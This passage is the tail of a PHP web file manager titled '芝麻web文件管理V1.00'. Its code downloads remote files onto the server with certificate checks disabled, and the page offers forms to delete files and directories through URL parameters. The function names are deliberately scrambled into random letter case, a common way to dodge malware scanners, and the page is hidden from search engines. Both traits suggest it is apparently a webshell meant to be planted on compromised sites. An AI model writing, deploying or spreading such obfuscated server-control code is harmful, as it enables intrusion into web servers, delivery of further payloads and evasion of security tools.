cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
$contents = cUrl_eXeC($ch);
cURl_CLosE($ch);
if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
if ( empty($contents) )
{
show_msg('下载出错!','');
}else
{
fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
show_msg('下载完成!','');
}
}
?>
<html>
<head>
<title>芝麻web文件管理</title>
<meta name="robots" content="none">
<meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<style>
a {color:#000000;text-decoration:none;}
a:hover {color:#ff0000;}
.tl:hover {background-color:#eeeeee;}
form {margin:0;}
</style>
<script>
function show_input_box(s,t,f,a,)
{
var span=document.getElementById(s);
if ( span.innerHTML=='' )
{
span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';
}else
{
span.innerHTML='';
}
}
function confirm_sc(t,f)
{
if (f=='d')
{
if ( confirm('确定要删除此目录吗?') )
{
window.location.href='?d='+t+'&a=sc';
}
}
if (f=='f')
{
if ( confirm('确定要删除此文件吗?') )
{
window.location.href='?f='+t+'&a=sc';
}
}
}
</script>
<div>
<h1>芝麻web文件管理V1.00</h1>
<?php echo $div_html;?>
</div>
</body>
</html>